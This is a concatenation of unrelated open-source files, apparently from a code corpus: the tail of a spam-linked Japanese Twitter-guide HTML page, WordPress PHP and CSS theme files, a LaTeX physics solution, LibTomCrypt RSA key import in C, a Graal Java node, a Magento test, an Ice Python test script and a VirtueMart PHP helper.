href="http://factory.aedew.com/images/Chershire/02021728723ri.html">http://factory.aedew.com/images/Chershire/02021728723ri.html</a></li> <li><a href="">政治</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021712417yx.html">http://factory.aedew.com/images/Chershire/02021712417yx.html</a></li> <li><a href="">IT</a></li> <li><a href="http://twinavi.jp/matome/category/%E9%9F%B3%E6%A5%BD">音楽</a></li> <li><a href="">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト] </a></li> <li><a href="">社会</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021733529og.html">http://factory.aedew.com/images/Chershire/02021733529og.html</a></li> </ul> <br class="block clearfix"><br> </li> <li class="sitemap-block"> <span class="top-sitemap"><a href="http://factory.aedew.com/images/Chershire/02021730820du.html">http://factory.aedew.com/images/Chershire/02021730820du.html</a></span> <ul> <li><a href="">インタビュー 一覧</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-account">Twitter</a></span> <ul> <li><a href="./index.html">総合</a></li> <li><a href="http://twinavi.jp/account/list/%E6%9C%89%E5%90%8D%E4%BA%BA%E3%83%BB%E8%8A%B8%E8%83%BD%E4%BA%BA">有名人・芸能人</a></li> <li><a href="">エンタメ</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021719871mp.html">http://factory.aedew.com/images/Chershire/02021719871mp.html</a></li> <li><a href="">メディア</a></li> <li><a href="http://twinavi.jp/account/list/%E3%83%93%E3%82%B8%E3%83%8D%E3%82%B9%E3%83%BB%E7%B5%8C%E6%B8%88">ビジネス・経済</a></li> <li><a href="">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト] </a></li> <li><a href="">スポーツ</a></li> <li><a href="">サービス</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021721152aa.html">http://factory.aedew.com/images/Chershire/02021721152aa.html</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-topics">特別企画</a></span> <ul> <li class="clearfix"><a href="">アンケート</a></li> <li><a href="">選挙</a></li> </ul> </li> <li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-guide">Twitter使い方ガイド</a></span> <ul> <li><a href="http://factory.aedew.com/images/Chershire/02021725622wi.html">http://factory.aedew.com/images/Chershire/02021725622wi.html</a></li> <li><a href="">Twitterとは</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021727692jv.html">http://factory.aedew.com/images/Chershire/02021727692jv.html</a></li> <li><a href="">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト] </a></li> <li><a href="">よくある質問</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021730949ix.html">http://factory.aedew.com/images/Chershire/02021730949ix.html</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-twitter">ツイッター検索</a></span> <ul> <li><a href="">キーワード検索</a></li> <li><a href="">ユーザー会話検索</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-help">ツイナビヘルプ</a></span> <ul> <li><a href="http://factory.aedew.com/images/Chershire/02021706182ax.html">http://factory.aedew.com/images/Chershire/02021706182ax.html</a></li> <li><a href="">よくある質問</a></li> </ul> </li> </ul> </nav> <div class="clearfix"></div> </div> <div id="footer-giftext"> <div class="contents"> <!-- giftext --> <div class="column footer-giftext"> <div class="column"> <a href="http://factory.aedew.com/images/Chershire/02021716371bz.html">http://factory.aedew.com/images/Chershire/02021716371bz.html</a> </div> <div class="giftext icon-m"> <span class="subtitle">ツイナビ公式Twitter</span> <a href="" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="false">アオシマ 1/350 アイアンクラッド 重巡洋艦 羽黒 プラモデル(X9686)</a> </div> </div> <div class="column footer-giftext"> <div class="column"> <a href="https://www.facebook.com/" target="_blank" class="altimg icon m ic-facebook">facebook</a> </div> <div class="giftext icon-m"> <span class="subtitle">ツイナビ公式Facebook</span> <div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="200" data-show-faces="false">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト] </div> </div> </div> <div class="column footer-giftext twinavismart"> <div class="column"> <a href="" class="altimg icon m ic-twinavismart">ツイナビforスマートフォン</a> </div> <div class="giftext icon-m"> <span class="subtitle"><a href="">ツイナビforスマートフォン</a></span> <span class="xsmall"><a href="">スマートフォンでアクセス!</a></span> </div> </div> <!-- //giftext --> <div class="clearfix"></div> </div> </div> <div class="contents last"> <ul id="docs" class="centered xsmall"> <li><a href="">ツイナビ ホーム</a></li> <li><a href="">利用規約</a></li> <li><a href="http://www.garage.co.jp/corporate/policy/index.html" target="_blank">個人情報保護方針</a></li> <li><a href="">健全化に関する指針</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021708659eh.html">http://factory.aedew.com/images/Chershire/02021708659eh.html</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021723247al.html">http://factory.aedew.com/images/Chershire/02021723247al.html</a></li> <li><a href="">広告掲載について</a></li> <li class="last"><a href="">お問い合わせ</a> </ul> <p class="centered xsmall"><small>Copyright &copy; 2016 All rights reserved.</small></p> </div> </footer> <div class="hide"> <div id="preregister-box"> <p class="preregister-title large">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト] </p> <p class="preregister-text">コトブキヤ ガンヘッド プラモデル(A9503)<br/>ハセガワ Z26 1/350 日本海軍 軽巡洋艦 矢矧 天一号作戦 プラモデル(X1074),PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト] </p> <p><a href="" class="btn login preregister-login">Twitterでの認証に進む</a></p> </div> </div> </body> </html>
ForAEdesWeb/AEW2
images/Chershire/02021741656ym.html
HTML
gpl-2.0
60,548
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php wp_title('', true, 'right'); ?> <?php bloginfo('name'); ?></title> <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" /> <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" /> <?php wp_head(); ?> <!--[if lte IE 9]><link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo('template_directory');?>/css/ie.css" /><![endif]--> <script type="text/javascript"> jQuery(document).ready(function() { jQuery.fn.cleardefault = function() { return this.focus(function() { if( this.value == this.defaultValue ) { this.value = ""; } }).blur(function() { if( !this.value.length ) { this.value = this.defaultValue; } }); }; jQuery(".clearit input, .clearit textarea").cleardefault(); }); </script> </head> <body<?php if(is_front_page()) {echo ' class="inner-page"';} ?>> <!--[if lt IE 7]><p class=chromeframe>Your browser is <em>ancient!</em> <a href="http://browsehappy.com/">Upgrade to a different browser</a> or <a href="http://www.google.com/chromeframe/?redirect=true">install Google Chrome Frame</a> to experience this site.</p><![endif]--> <div class="wrapper"> <header> <div class="holder"> <strong class="ipad-icon"><a href="http://angel.co/wtf">Coming soon to iPad and iPhone</a></strong> <strong class="logo"><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></strong> </div> </header><!-- / header --> <div id="main">
natemcguire/wtf
wp-content/themes/wtf/header-inner.php
PHP
gpl-2.0
1,904
@import url(http://fonts.googleapis.com/css?family=Lato:100,300,400,700,300italic,400italic,700italic|Merriweather:400,300,300italic,400italic,700,700italic); /* Theme Name: Margo Conner's Portfolio Description: My portfolio! Author: Margo Conner Author URI: http://www.margoconner.com Template: bootstrap-wp Version: 1.0.0 */ /* global -------------------------------------------------------------- */ body { font-family: "Merriweather", Georgia, serif; font-weight: 300; line-height: 27px; font-size: 14px; padding-top: 0px; padding-bottom: 0px; background-color: #FAFAFA; } a { color: #007998; -webkit-transition: color 0.25s ease-in-out; -moz-transition: color 0.25s ease-in-out; -o-transition: color 0.25s ease-in-out; -ms-transition: color 0.25s ease-in-out; transition: color 0.25s ease-in-out; text-decoration: none; } a:hover, a:focus, a:active { color: rgba(0, 121, 152, 0.5); } p { margin: 0 0 27px; } .shrink { padding-left: 50px; padding-right: 50px; } /* Typography -------------------------------------------------------------- */ /* Headings */ h1, h2, h3, h4, h5, h6 { clear: both; font-family: "Lato", Helvetica, Arial, sans-serif; font-weight: 700; } h1 { line-height: 71px; font-size: 48px; font-size: 4.8rem; } h2 { line-height: 50px; font-size: 34px; font-size: 3.4rem; } h3 { line-height: 41px; font-size: 28px; font-size: 2.8rem; } h4 { line-height: 26px; font-size: 18px; font-size: 1.8rem; } hr { background-color: #ccc; border: 0; height: 1px; margin-bottom: 1.5em; } .lato { font-family: "Lato", Helvetica, Arial, sans-serif; font-weight: 400; } .lato-small { font-family: "Lato", Helvetica, Arial, sans-serif; font-weight: 400; font-size: 14px; } /* Header ------------------------------------------------------------- */ .logo { content: url(http://localhost:8888/portfolio-dev/wp-content/uploads/2015/06/logoidea2.png); margin-right: 10px; width: 50px; float: left; } .navbar { font-family: "Lato", Helvetica, Arial, sans-serif; } .navbar-default { background-color: #A7C5BD; border-color: transparent; padding-top: 20px; padding-bottom: 20px; } .navbar-default .navbar-brand { text-transform: none; font-family: "Merriweather"; font-weight: 300; font-size: 30px; text-align: left; color: #fff; vertical-align: top; height: auto; } .navbar-default .navbar-brand:hover, .navbar-default .navbar-brand:focus { color: #fff; -webkit-transition: none; -moz-transition: none; -o-transition: none; -ms-transition: none; transition: none; } .navbar-nav { float: right; } .navbar-default .navbar-nav > li > a { padding: 0px; margin-left: 15px; margin-right: 15px; top: 20px; font-size: 14px; font-weight: 500; text-transform: uppercase; color: #FFFFFF; -webkit-transition: color 0.25s ease-in-out; -moz-transition: color 0.25s ease-in-out; -o-transition: color 0.25s ease-in-out; -ms-transition: color 0.25s ease-in-out; transition: color 0.25s ease-in-out; } .navbar-default .navbar-nav > li > a:hover, .navbar-default .navbar-nav > li > a:focus { /*border-bottom: 2px solid rgba(100, 100, 100, 0.5);*/ background-color: transparent; color: rgba(82, 70, 86, .8); /* before, 100, 100, 100 */ } .navbar-default .navbar-nav .current_page_item > a, .navbar-default .navbar-nav .current-menu-parent > a { background: transparent; color: rgba(82, 70, 86, .7); border-bottom: 2px solid rgba(82, 70, 86, .8); } .page-header { padding-bottom: 9px; margin: 40px 0 20px; text-align: center; text-transform: uppercase; border-bottom: none; letter-spacing: .3em; } /* Footer ------------------------------------------------------------- */ .bottom { background-color: #524656; } .colorblock { width: 100%; background-color: #524656; padding-top: 40px; margin-top: 40px; } footer { font-family: "Lato", Helvetica, Arial, sans-serif; font-weight: 400; color: #fff; } .colorblock a, .colorblock a:visited, .colorblock a:active, .colorblock a:focus { color: #fff; text-decoration: none; } .fa { padding-left: 10px; } /* Blog ------------------------------------------------------------- */ #blog-column { padding-left: 40px; padding-right: 40px; } .authorpic { text-align: center; width: 225px; } /* Portfolio -------------------------------------------------------------- */ .notheader { font-weight: 300; } #notheader1 { margin-top: 0px; } .piece-details { border-right: 1px solid gray; margin-top: 10px; } .piece-description { padding-left: 25px; } .piece-title { font-family: "Merriweather", Georgia, sans-serif; font-weight: 200; font-size: 24px; padding-top: 10px; padding-bottom: 20px; text-transform: none; } .piece-singleimage { margin: 0 0 60px; margin-top: 20px; } .portfolio-piece { margin-bottom: 30px; } .portfolio-piece p { margin-bottom: 0; } .portfolio-piece h4 { margin-bottom: 0; font-weight: 400; } .portfolio-piece h6 { margin-bottom: 3px; margin-top: 0px; font-weight: 400; } .fade { opacity: 1; transition: opacity .25s ease-in-out; -moz-transition: opacity .25s ease-in-out; -webkit-transition: opacity .25s ease-in-out; } .fade:hover { opacity: 0.9; } .portfolio h5 { text-transform: none; letter-spacing: 0em; font-family: "Merriweather", Georgia, serif; font-weight: 300; line-height: 21px; font-size: 14px; font-style: italic; margin-top: 0px; margin-bottom: 0px; } .recentwork { text-transform: uppercase; letter-spacing: .2em; margin-bottom: 20px; } .arrow-prev { margin-left: 5px; } .arrow-next { margin-right: 5px; } .arrow-center { margin-left: 20px; margin-right: 20px; } .prev-next { font-size: 14px; margin-top: 30px; text-align: center; } /* Sidebar ------------------------------------------------------------- */ .sidebar { margin-top: 10px; color: #333; font-family: "Lato", Helvetica, Arial, sans-serif; line-height: 21px; } .sidebar h3 { color: #333; font-weight: 400; font-size: 16px; text-align: center; text-transform: uppercase; } .widget { margin: 10px 0 30px; } .widget ul { padding-left: 0px; } .cat-item { list-style-type: none; font-weight: 400; font-size: 14px; text-transform: uppercase; border-bottom: 1px solid rgb(238, 238, 238); margin-bottom: 10px; } .widget h3 { position: relative; z-index: 1; overflow: hidden; text-align: center; } .widget > h3:before, .widget > h3:after { position: absolute; top: 51%; overflow: hidden; width: 48%; height: 2px; content: '\a0'; background-color: #888; margin-left: 5px; } .widget > h3:before { margin-left: -50%; text-align: right; } .screen-reader-text { display: none; } .searchform { text-align: center; } #searchsubmit { display: inline-block; padding: 4px 10px 4px; font-size: 13px; line-height: 18px; color: #333333; text-align: center; text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); background-color: #fafafa; /*background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6)); background-image: -webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6); background-image: -ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-repeat: no-repeat; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);*/ border: 1px solid #ccc; border-bottom-color: #bbb; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); cursor: pointer; *margin-left: .3em; } #searchsubmit:hover { color: #333333; text-decoration: none; background-color: #e6e6e6; background-position: 0 -15px; -webkit-transition: background-position 0.1s linear; -moz-transition: background-position 0.1s linear; -ms-transition: background-position 0.1s linear; -o-transition: background-position 0.1s linear; transition: background-position 0.1s linear; } #searchsubmit:focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } #searchsubmit.active, #searchsubmit:active { background-image: none; -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); background-color: #e6e6e6; background-color: #d9d9d9 \9; color: rgba(0, 0, 0, 0.5); outline: 0; } /* Flexslider -------------------------------------------------------------- */ .flexslider { margin: 0 0 60px; margin-top: 20px; background: #ffffff; border: 0; position: relative; zoom: 1; -webkit-border-radius: 0; -moz-border-radius: 0; border-radius: 0; -webkit-box-shadow: '' 0 0 0 rgba(0, 0, 0, 0); -moz-box-shadow: '' 0 0 0 rgba(0, 0, 0, 0.0); -o-box-shadow: '' 0 0 0 rgba(0, 0, 0, 0.0); box-shadow: '' 0 0 0 rgba(0, 0, 0, 0.0); } .flex-caption { position: absolute; width: 100%; padding: 2%; left: 0; bottom: 0; background: rgba(0 , 0 , 0 , .5); color: #fff; text-shadow: 0 -1px 0 rgba(0,0,0,.3); font-size: 14px; line-height: 18px; margin-bottom: 0px; } .flex-direction-nav .flex-prev { left: -50px; opacity: 1; background-color: none; } .flex-direction-nav .flex-next { right: -50px; text-align: right; opacity: 1; background-color: none; } .flexslider:hover .flex-direction-nav .flex-prev { opacity: 1; left: -50px; } .flexslider:hover .flex-direction-nav .flex-prev:hover { opacity: 1; } .flexslider:hover .flex-direction-nav .flex-next { opacity: 1; right: -50px; } .flex-direction-nav a:before { content: " "; display: block; background: url('http://localhost:8888/portfolio-dev/wp-content/themes/bootstrap-wp-child/css/fonts/angle-left.png') no-repeat; width: 40px; height: 40px; } .flex-direction-nav a.flex-next:before { content: " "; display: block; background: url('http://localhost:8888/portfolio-dev/wp-content/themes/bootstrap-wp-child/css/fonts/angle-right.png') no-repeat; width: 40px; height: 40px; } /* About Page -------------------------------------------------------------- */ .about-sidebar { color: #333; font-family: "Lato", Helvetica, Arial, sans-serif; line-height: 21px; } /* Header -------------------------------------------------------------- */ /*.site-title a{ text-transform: uppercase; font-weight: 300; font-size: 36px; text-align: left; color: #565656; } .site-title a:hover{ } .site-description{ font-style: italic; } header { padding: 20px 0; background: transparent; margin: 20px auto; } header .gravatar { overflow: hidden; width: 100px; height: 100px; -moz-border-radius: 50%; -webkit-border-radius: 50%; border-radius: 50%; margin: 0; float: right; } header #brand { margin:1em 0; } header #brand h1 { font-weight: 300; color: #565656; font-size: 16px; font-size: 1.6rem; margin: 0; padding: 0; text-transform: uppercase; letter-spacing: 0em; } header #brand h1 a { color: #565656; text-decoration: none; } header #brand h1 span { font-weight: 300; color: #888888; text-transform: lowercase; } header nav { float: right; } .menu-main-nav-container, .menu-main-container { float: right; } .menu-header-container { float: right; } header nav ul li { float: left; margin: 2px 20px 0 0; } header nav ul li a { font-family: "Lato", Helvetica, Arial, sans-serif; font-size: 14px; font-weight: 300; text-transform: uppercase; } */
margo-c/portfolio-dev
wp-content/themes/bootstrap-wp-child/style.css
CSS
gpl-2.0
12,213
\section{Problem (6)} In the \cref{fig:hw9_problem6}, block $A$ (mass $1.5 \ sl$) slides into block $B$ (mass $2.5 \ sl$), along a frictionless surface. The directions of velocities before and after the collision are indicated; the corresponding speeds are $v_{Ai} = \ 4.0 \ ft/s$, $v_{Bi} = \ 2.4 \ ft/s$, and $v_{Bf} = \ 3.2 \ ft/s$. What is velocity $v_{Af}$ (including sign, where positive denotes motion to the right)? \begin{figure}[H] \begin{center} \includegraphics[scale=1]{hw9_problem6} \caption{Illustration of Problem 6} \label{fig:hw9_problem6} \end{center} \end{figure} \textbf{R:} \begin{align} \Delta p = \ &0& \notag \\ p_{i} = \ &p_{f}& \notag \\ m_{A}\vec{v}_{Ai} + m_{B}\vec{v}_{Bi} = \ &m_{A}\vec{v}_{Af} + m_{B}\vec{v}_{Bf}& \notag \\ \vec{v}_{Af} = \ &\frac{m_{A}\vec{v}_{Ai} + m_{B}\vec{v}_{Bi} - m_{B}\vec{v}_{Bf}}{m_{A}}& \notag \\ = \ &\vec{v}_{Ai} + \frac{m_{B}(\vec{v}_{Bi} - \vec{v}_{Bf})}{m_{A}}& \notag \\ = \ &(4.0 \ ft/s) + \frac{(2.5 \ sl)[(2.4 \ ft/s) - (3.2 \ ft/s)]}{1.5 \ sl}& \notag \\ = \ &(4.0 \ ft/s) + (1.\bar{6})(-0.8 \ ft/s)& \notag \\ = \ &(4.0 \ ft/s) - (1.\bar{3} \ ft/s)& \notag \\ = \ &+ 2.\bar{6} \ ft/s& \end{align}
arkye-8th-semester-indiana-tech/physics
homeworks/LaTeX/HW9/sources/hw9/problem6.tex
TeX
gpl-2.0
1,209
/* LibTomCrypt, modular cryptographic library -- Tom St Denis * * LibTomCrypt is a library that provides various cryptographic * algorithms in a highly modular and flexible manner. * * The library is free for all purposes without any express * guarantee it works. */ #include "tomcrypt_private.h" /** @file rsa_import.c Import a PKCS RSA key, Tom St Denis */ #ifdef LTC_MRSA /** Import an RSAPublicKey or RSAPrivateKey [two-prime only, only support >= 1024-bit keys, defined in PKCS #1 v2.1] @param in The packet to import from @param inlen It's length (octets) @param key [out] Destination for newly imported key @return CRYPT_OK if successful, upon error allocated memory is freed */ int rsa_import(const unsigned char *in, unsigned long inlen, rsa_key *key) { int err; void *zero; unsigned char *tmpbuf=NULL; unsigned long tmpbuf_len, len; LTC_ARGCHK(in != NULL); LTC_ARGCHK(key != NULL); LTC_ARGCHK(ltc_mp.name != NULL); /* init key */ if ((err = mp_init_multi(&key->e, &key->d, &key->N, &key->dQ, &key->dP, &key->qP, &key->p, &key->q, NULL)) != CRYPT_OK) { return err; } /* see if the OpenSSL DER format RSA public key will work */ tmpbuf_len = inlen; tmpbuf = XCALLOC(1, tmpbuf_len); if (tmpbuf == NULL) { err = CRYPT_MEM; goto LBL_ERR; } len = 0; err = x509_decode_subject_public_key_info(in, inlen, PKA_RSA, tmpbuf, &tmpbuf_len, LTC_ASN1_NULL, NULL, &len); if (err == CRYPT_OK) { /* SubjectPublicKeyInfo format */ /* now it should be SEQUENCE { INTEGER, INTEGER } */ if ((err = der_decode_sequence_multi(tmpbuf, tmpbuf_len, LTC_ASN1_INTEGER, 1UL, key->N, LTC_ASN1_INTEGER, 1UL, key->e, LTC_ASN1_EOL, 0UL, NULL)) != CRYPT_OK) { goto LBL_ERR; } key->type = PK_PUBLIC; err = CRYPT_OK; goto LBL_FREE; } /* not SSL public key, try to match against PKCS #1 standards */ err = der_decode_sequence_multi(in, inlen, LTC_ASN1_INTEGER, 1UL, key->N, LTC_ASN1_EOL, 0UL, NULL); if (err != CRYPT_OK && err != CRYPT_INPUT_TOO_LONG) { goto LBL_ERR; } if (mp_cmp_d(key->N, 0) == LTC_MP_EQ) { if ((err = mp_init(&zero)) != CRYPT_OK) { goto LBL_ERR; } /* it's a private key */ if ((err = der_decode_sequence_multi(in, inlen, LTC_ASN1_INTEGER, 1UL, zero, LTC_ASN1_INTEGER, 1UL, key->N, LTC_ASN1_INTEGER, 1UL, key->e, LTC_ASN1_INTEGER, 1UL, key->d, LTC_ASN1_INTEGER, 1UL, key->p, LTC_ASN1_INTEGER, 1UL, key->q, LTC_ASN1_INTEGER, 1UL, key->dP, LTC_ASN1_INTEGER, 1UL, key->dQ, LTC_ASN1_INTEGER, 1UL, key->qP, LTC_ASN1_EOL, 0UL, NULL)) != CRYPT_OK) { mp_clear(zero); goto LBL_ERR; } mp_clear(zero); key->type = PK_PRIVATE; } else if (mp_cmp_d(key->N, 1) == LTC_MP_EQ) { /* we don't support multi-prime RSA */ err = CRYPT_PK_INVALID_TYPE; goto LBL_ERR; } else { /* it's a public key and we lack e */ if ((err = der_decode_sequence_multi(in, inlen, LTC_ASN1_INTEGER, 1UL, key->N, LTC_ASN1_INTEGER, 1UL, key->e, LTC_ASN1_EOL, 0UL, NULL)) != CRYPT_OK) { goto LBL_ERR; } key->type = PK_PUBLIC; } err = CRYPT_OK; goto LBL_FREE; LBL_ERR: mp_clear_multi(key->d, key->e, key->N, key->dQ, key->dP, key->qP, key->p, key->q, NULL); LBL_FREE: if (tmpbuf != NULL) { XFREE(tmpbuf); } return err; } #endif /* LTC_MRSA */ /* ref: $Format:%D$ */ /* git commit: $Format:%H$ */ /* commit time: $Format:%ai$ */
mangosthree/server
dep/tomlib/Crypt/src/pk/rsa/rsa_import.c
C
gpl-2.0
4,169
/* * Copyright (c) 2013, 2015, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.oracle.graal.nodes.calc; import java.nio.*; import com.oracle.graal.api.meta.*; import com.oracle.graal.compiler.common.type.*; import com.oracle.graal.graph.*; import com.oracle.graal.graph.spi.*; import com.oracle.graal.lir.gen.*; import com.oracle.graal.nodeinfo.*; import com.oracle.graal.nodes.*; import com.oracle.graal.nodes.spi.*; /** * The {@code ReinterpretNode} class represents a reinterpreting conversion that changes the stamp * of a primitive value to some other incompatible stamp. The new stamp must have the same width as * the old stamp. */ @NodeInfo public final class ReinterpretNode extends UnaryNode implements ArithmeticLIRLowerable { public static final NodeClass<ReinterpretNode> TYPE = NodeClass.create(ReinterpretNode.class); public ReinterpretNode(Kind to, ValueNode value) { this(StampFactory.forKind(to), value); } public ReinterpretNode(Stamp to, ValueNode value) { super(TYPE, to, value); assert to instanceof ArithmeticStamp; } private SerializableConstant evalConst(SerializableConstant c) { /* * We don't care about byte order here. Either would produce the correct result. */ ByteBuffer buffer = ByteBuffer.wrap(new byte[c.getSerializedSize()]).order(ByteOrder.nativeOrder()); c.serialize(buffer); buffer.rewind(); SerializableConstant ret = ((ArithmeticStamp) stamp()).deserialize(buffer); assert !buffer.hasRemaining(); return ret; } @Override public ValueNode canonical(CanonicalizerTool tool, ValueNode forValue) { if (forValue.isConstant()) { return ConstantNode.forConstant(stamp(), evalConst((SerializableConstant) forValue.asConstant()), null); } if (stamp().isCompatible(forValue.stamp())) { return forValue; } if (forValue instanceof ReinterpretNode) { ReinterpretNode reinterpret = (ReinterpretNode) forValue; return new ReinterpretNode(stamp(), reinterpret.getValue()); } return this; } @Override public void generate(NodeMappableLIRBuilder builder, ArithmeticLIRGenerator gen) { LIRKind kind = gen.getLIRKind(stamp()); builder.setResult(this, gen.emitReinterpret(kind, builder.operand(getValue()))); } public static ValueNode reinterpret(Kind toKind, ValueNode value) { return value.graph().unique(new ReinterpretNode(toKind, value)); } @NodeIntrinsic public static native float reinterpret(@ConstantNodeParameter Kind kind, int value); @NodeIntrinsic public static native int reinterpret(@ConstantNodeParameter Kind kind, float value); @NodeIntrinsic public static native double reinterpret(@ConstantNodeParameter Kind kind, long value); @NodeIntrinsic public static native long reinterpret(@ConstantNodeParameter Kind kind, double value); }
BunnyWei/truffle-llvmir
graal/com.oracle.graal.nodes/src/com/oracle/graal/nodes/calc/ReinterpretNode.java
Java
gpl-2.0
4,000
<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\ProductVideo\Test\Constraint; use Magento\Cms\Test\Page\CmsIndex; use Magento\Mtf\Fixture\InjectableFixture; use Magento\Mtf\Constraint\AbstractConstraint; use Magento\Catalog\Test\Page\Category\CatalogCategoryView; /** * Assert that video is displayed on category page. */ class AssertVideoCategoryView extends AbstractConstraint { /** * Assert that video is displayed on category page on Store front. * * @param CmsIndex $cmsIndex * @param CatalogCategoryView $catalogCategoryView * @param InjectableFixture $product * @return void */ public function processAssert( CmsIndex $cmsIndex, CatalogCategoryView $catalogCategoryView, InjectableFixture $product ) { $cmsIndex->open(); $cmsIndex->getTopmenu()->selectCategoryByName($product->getCategoryIds()[0]); $src = $catalogCategoryView->getListProductBlock()->getProductItem($product)->getBaseImageSource(); \PHPUnit\Framework\Assert::assertFalse( strpos($src, '/placeholder/') !== false, 'Video preview image is not displayed on category view when it should.' ); } /** * Returns a string representation of the object. * * @return string */ public function toString() { return 'Video preview images is displayed on category view.'; } }
kunj1988/Magento2
dev/tests/functional/tests/app/Magento/ProductVideo/Test/Constraint/AssertVideoCategoryView.php
PHP
gpl-2.0
1,498
#!/usr/bin/env python # ********************************************************************** # # Copyright (c) 2003-2011 ZeroC, Inc. All rights reserved. # # This copy of Ice is licensed to you under the terms described in the # ICE_LICENSE file included in this distribution. # # ********************************************************************** import os, sys path = [ ".", "..", "../..", "../../..", "../../../.." ] head = os.path.dirname(sys.argv[0]) if len(head) > 0: path = [os.path.join(head, p) for p in path] path = [os.path.abspath(p) for p in path if os.path.exists(os.path.join(p, "scripts", "TestUtil.py")) ] if len(path) == 0: raise "can't find toplevel directory!" sys.path.append(os.path.join(path[0])) from scripts import * dbdir = os.path.join(os.getcwd(), "db") TestUtil.cleanDbDir(dbdir) client = os.path.join(os.getcwd(), "client") if TestUtil.appverifier: TestUtil.setAppVerifierSettings([client]) clientProc = TestUtil.startClient(client, ' --Freeze.Warn.Rollback=0 "%s"' % os.getcwd()) clientProc.waitTestSuccess() if TestUtil.appverifier: TestUtil.appVerifierAfterTestEnd([client])
joshmoore/zeroc-ice
cpp/test/Freeze/dbmap/run.py
Python
gpl-2.0
1,137
<?php /** * HTML helper class * * This class was developed to provide some standard HTML functions. * * @package VirtueMart * @subpackage Helpers * @author RickG * @copyright Copyright (c) 2004-2008 Soeren Eberhardt-Biermann, 2009 VirtueMart Team. All rights reserved. */ // Check to ensure this file is included in Joomla! defined('_JEXEC') or die(); /** * HTML Helper * * @package VirtueMart * @subpackage Helpers * @author RickG */ class VmHTML{ /** * Converts all special chars to html entities * * @param string $string * @param string $quote_style * @param boolean $only_special_chars Only Convert Some Special Chars ? ( <, >, &, ... ) * @return string */ function shopMakeHtmlSafe( $string, $quote_style='ENT_QUOTES', $use_entities=false ) { if( defined( $quote_style )) { $quote_style = constant($quote_style); } if( $use_entities ) { $string = @htmlentities( $string, constant($quote_style), self::vmGetCharset() ); } else { $string = @htmlspecialchars( $string, $quote_style, self::vmGetCharset() ); } return $string; } /** * Returns the charset string from the global _ISO constant * * @return string UTF-8 by default * 